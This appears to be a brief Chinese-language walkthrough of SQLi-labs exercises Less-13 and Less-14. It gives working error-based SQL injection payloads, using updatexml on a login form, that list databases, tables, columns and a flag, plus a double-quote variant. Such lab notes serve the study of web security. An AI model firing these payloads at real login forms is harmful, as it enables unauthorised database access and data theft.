Less-13
uname=1')#&passwd=1&submit=Submit
正确的不会有显示,错误的会报错
报错注入
查数据库
uname=1') and updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=1&submit=Submit
uname=1') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1)#&passwd=1&submit=Submit
limit n,m 中的第一次参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。
limit 0,1就是获取第一条数据,limit 0,2按理说不一样,但是结果还是一样的,而limit 1,1查不到东西,但是后面是还有的,不只有两个数据库,不知道为什么
查表名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' limit 0,1),0x7e),1)#&passwd=1&submit=Submit
查列名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' limit 0,1),0x7e),1)#&passwd=1&submit=Submit
查数据
uname=1') and updatexml(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag limit 0,2),0x7e),1)#&passwd=1&submit=Submit
Less-14
和13一样
就是变成双引号闭合
uname=1" union select 1,2#&passwd=1&submit=Submit